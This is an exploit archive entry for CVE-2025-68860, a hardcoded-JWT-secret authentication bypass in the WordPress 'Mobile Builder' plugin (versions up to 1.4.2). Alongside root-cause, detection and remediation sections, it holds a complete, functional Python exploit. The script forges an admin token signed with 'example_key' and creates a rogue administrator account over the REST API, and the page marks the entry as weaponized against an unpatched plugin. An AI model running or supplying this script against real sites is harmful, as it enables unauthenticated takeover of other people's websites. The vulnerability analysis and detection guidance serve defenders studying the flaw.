PoC Archive PoC Archive
Critical CVE-2025-68860 unpatched

WordPress Mobile Builder Plugin JWT Authentication Bypass to Admin Account Creation (CVE-2025-68860)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-68860
Category
web
Affected product
WordPress "Mobile Builder" plugin
Affected versions
<= 1.4.2
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-68860
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, mobile-builder, jwt, authentication-bypass, hardcoded-secret, privilege-escalation, rest-api, python, cwe-288
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress “Mobile Builder” plugin
Versions Affected<= 1.4.2
Language / PlatformPython 3.7+ (PoC client) targeting a PHP/WordPress REST API server
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS access to the target WordPress site’s REST API)

Summary

The WordPress “Mobile Builder” plugin (<= 1.4.2) implements its own JWT-based authentication scheme for its REST API integration but signs/validates tokens using a static, publicly known secret (example_key) rather than a per-site secret. Because the signing key is a hardcoded default that was never required to be rotated or randomized, any remote, unauthenticated attacker can forge a valid JWT asserting user_id=1 (WordPress’s default administrator account ID) and present it to the standard /wp-json/wp/v2/ REST endpoints. The included PoC forges such a token, confirms admin-level access via /wp-json/wp/v2/users/me, and then uses the forged session to create a brand-new administrator account through /wp-json/wp/v2/users, resulting in full site takeover.


Vulnerability Details

Root Cause

The plugin’s JWT authentication middleware validates incoming bearer tokens against a hardcoded default secret string (example_key) instead of a unique, randomly generated per-installation secret. Since the secret is a known constant shared across all installations that haven’t manually reconfigured it, anyone can independently construct a token with the HS256 algorithm that the server will accept as legitimate:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def build_jwt_token(base_url: str, user_id: int = 1, secret: str = "example_key", ttl: int = 3600) -> str:
    now = int(time.time())
    payload = {
        "iss": base_url,
        "iat": now,
        "nbf": now,
        "exp": now + ttl,
        "data": {
            "user_id": user_id
        }
    }
    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

Because user_id is attacker-controlled in the payload and the plugin trusts it directly to resolve the acting WordPress user, setting user_id=1 impersonates the default admin account (WordPress’s first-created user, conventionally the site administrator) with no credentials whatsoever.

Attack Vector

  1. Attacker points the exploit at any target site running the vulnerable Mobile Builder plugin (no account or prior access needed).
  2. Script forges a JWT with alg=HS256, signed using the hardcoded shared secret example_key, claiming user_id=1.
  3. Script sends the forged token as a Bearer token to GET /wp-json/wp/v2/users/me to confirm the server accepts it as an authenticated admin session.
  4. Using the same forged token, the script issues POST /wp-json/wp/v2/users with a new user payload (username, email, password, roles: ["administrator"]), which the WordPress REST API accepts because the caller appears to have administrator privileges.
  5. A brand-new, fully privileged administrator account now exists on the target, giving the attacker persistent, credentialed access to /wp-admin.

Impact

Complete compromise of the WordPress installation: unauthenticated remote attackers can silently provision a new administrator account, enabling arbitrary plugin/theme installation (leading to PHP code execution), database access, content tampering, and full site takeover.


Environment / Lab Setup

Target:   WordPress installation with the "Mobile Builder" plugin <= 1.4.2 active and REST API reachable
           (wp-json enabled, default WordPress REST routes not firewalled)
Attacker: Python 3.7+
          pip3 install pyjwt requests colorama

Proof of Concept

PoC Script

See CVE-2025-68860.py in this folder.

1
2
3
pip3 install -r requirements.txt
python3 CVE-2025-68860.py
Site URL (example: http://TARGET): http://TARGET

The script forges the JWT, verifies it against /wp-json/wp/v2/users/me, then creates a new administrator account (username: Nxploited, password: admin, email: adminnx@admin.com) via /wp-json/wp/v2/users and prints the full REST API response.


Detection & Indicators of Compromise

POST /wp-json/wp/v2/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json
{"username":"Nxploited","email":"adminnx@admin.com","roles":["administrator"], ...}

Signs of compromise:

  • New, unrecognized administrator accounts (e.g., Nxploited) in wp_users / wp_usermeta
  • REST API access logs showing Authorization: Bearer requests to /wp-json/wp/v2/users* without corresponding login events
  • JWTs decodable with the well-known default secret example_key

Remediation

ActionDetail
Primary fixUpdate Mobile Builder plugin to a patched version that generates and enforces a unique, random per-site JWT signing secret; no official patched version identified at time of mirroring — remove/disable the plugin if unpatched
Interim mitigationDisable or firewall the Mobile Builder plugin’s JWT authentication endpoints; restrict /wp-json/wp/v2/users write access; rotate any secret to a cryptographically random value if configurable; monitor for unauthorized admin account creation

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-68860 on 2026-07-06. Repo carries Nxploited’s typical templated branding (banner, disclaimer, author credits) but the exploit logic — hardcoded JWT secret forgery against the Mobile Builder REST endpoints — is CVE-specific and functional.

CVE-2025-68860.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
"""
================================================================================
  Exploit Title: WordPress Mobile builder Plugin <= 1.4.2 Broken Authentication
  CVE: CVE-2025-68860
  Priority: High

  Description:
    This script completely ignores all previous states, settings, or exploits.
    On execution, it generates a valid JWT token for WordPress Mobile builder <= 1.4.2,
    authenticates as admin (user_id=1), and uses that token to create a new administrator account.

    Vulnerability Reference: CVE-2025-68860
    Plugin: WordPress Mobile builder (<= 1.4.2)
    Author: Nxploited (Khaled Alenazi)
    Telegram: @KNxploited
    GitHub: https://github.com/Nxploited
================================================================================
"""

#!/usr/bin/env python3
from __future__ import annotations
import time
import jwt
import requests
import json
from colorama import Fore, Style, init as color_init

color_init(autoreset=True)

BANNER = r'''
╔═══════════════════════════════════════════════════════════════════╗
║ WordPress Mobile builder <= 1.4.2 Broken Authentication Exploit  ║
║ CVE-2025-68860   Priority: HIGH                                 ║
╚═══════════════════════════════════════════════════════════════════╝
'''

AUTHOR_INFO = [
    f"Exploit by : Nxploited (Khaled Alenazi)",
    f"Telegram   : @KNxploited",
    f"GitHub     : https://github.com/Nxploited"
]

def print_status(msg: str, level: str = "info") -> None:
    colors = {
        "info": Fore.CYAN, 
        "success": Fore.GREEN, 
        "error": Fore.RED, 
        "warning": Fore.YELLOW
    }
    color = colors.get(level, Fore.WHITE)
    tag = level.upper()
    print(f"[{tag}] {color}{msg}{Style.RESET_ALL}")

def show_banner():
    print(Fore.LIGHTYELLOW_EX + BANNER + Style.RESET_ALL)
    for line in AUTHOR_INFO:
        print(Fore.WHITE + line + Style.RESET_ALL)
    print("")

def build_jwt_token(base_url: str, user_id: int = 1, secret: str = "example_key", ttl: int = 3600) -> str:
    now = int(time.time())
    payload = {
        "iss": base_url,
        "iat": now,
        "nbf": now,
        "exp": now + ttl,
        "data": {
            "user_id": user_id
        }
    }
    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

def pretty_json(j):
    return json.dumps(j, ensure_ascii=False, indent=2)

def print_admin_credentials(username, password, email):
    print()
    print(Fore.LIGHTMAGENTA_EX + "==============[ New Admin Credentials ]==============" + Style.RESET_ALL)
    print(f"{Fore.CYAN}Username :{Style.RESET_ALL} {Fore.GREEN}{username}{Style.RESET_ALL}")
    print(f"{Fore.CYAN}Password :{Style.RESET_ALL} {Fore.YELLOW}{password}{Style.RESET_ALL}")
    print(f"{Fore.CYAN}Email    :{Style.RESET_ALL} {Fore.MAGENTA}{email}{Style.RESET_ALL}")
    print(Fore.LIGHTMAGENTA_EX + "="*51 + Style.RESET_ALL)
    print()

def main():
    show_banner()
    print_status("CVE-2025-68860 // WordPress Mobile builder Broken Authentication", "info")
    print_status("All old exploits/settings are ignored, running this vector only.", "info")
    url = input(Fore.YELLOW + "Site URL (example: http://target.site): " + Style.RESET_ALL).strip().rstrip("/")
    if not url:
        print_status("URL is required.", "error")
        exit(1)
    secret = "example_key"
    user_id = 1

    # STEP 1: BUILD JWT
    print_status("Generating JWT as admin (user_id=1)...", "info")
    token = build_jwt_token(url, user_id=user_id, secret=secret)
    print(Fore.GREEN + token + Style.RESET_ALL)
    print("-"*62)

    # STEP 2: VERIFY ADMIN SESSION
    print_status("Testing JWT at /wp-json/wp/v2/users/me", "info")
    api_me = f"{url}/wp-json/wp/v2/users/me"
    headers = {"Authorization": f"Bearer {token}"}

    resp = requests.get(api_me, headers=headers, timeout=15, verify=False)
    if resp.status_code == 200:
        print_status("JWT valid! Confirmed admin access.", "success")
    else:
        print_status(f"Token/endpoint failed: {resp.status_code} {resp.text[:70]}", "error")
        exit(2)

    print("-"*62)
    print_status("Creating admin account using exploit...", "info")
    api_users = f"{url}/wp-json/wp/v2/users"
    admin_username = "Nxploited"
    admin_password = "admin"
    admin_email = "adminnx@admin.com"
    admin_data = {
        "username": admin_username,
        "name": admin_username,
        "email": admin_email,
        "password": admin_password,
        "roles": ["administrator"]
    }
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    resp = requests.post(api_users, headers=headers, json=admin_data, timeout=15, verify=False)
    time.sleep(1.2)
    print_status("Exploiting, please wait...", "info")
    if resp.status_code in (200,201):
        print_status("✅ Admin user created successfully!", "success")
        print_admin_credentials(admin_username, admin_password, admin_email)
        try:
            resj = resp.json()
            print(Fore.LIGHTGREEN_EX + "Full API response:" + Style.RESET_ALL)
            print(pretty_json(resj))
        except Exception:
            print(Fore.YELLOW + resp.text[:350] + Style.RESET_ALL)
    else:
        print_status(f"Failed to create admin: [{resp.status_code}] {resp.text[:120]}", "error")
    print("-"*62)
    print_status("Exploit finished. Enjoy your shell.", "success")
    print("")
    for line in AUTHOR_INFO: print(Fore.WHITE + line + Style.RESET_ALL)

if __name__ == "__main__":
    main()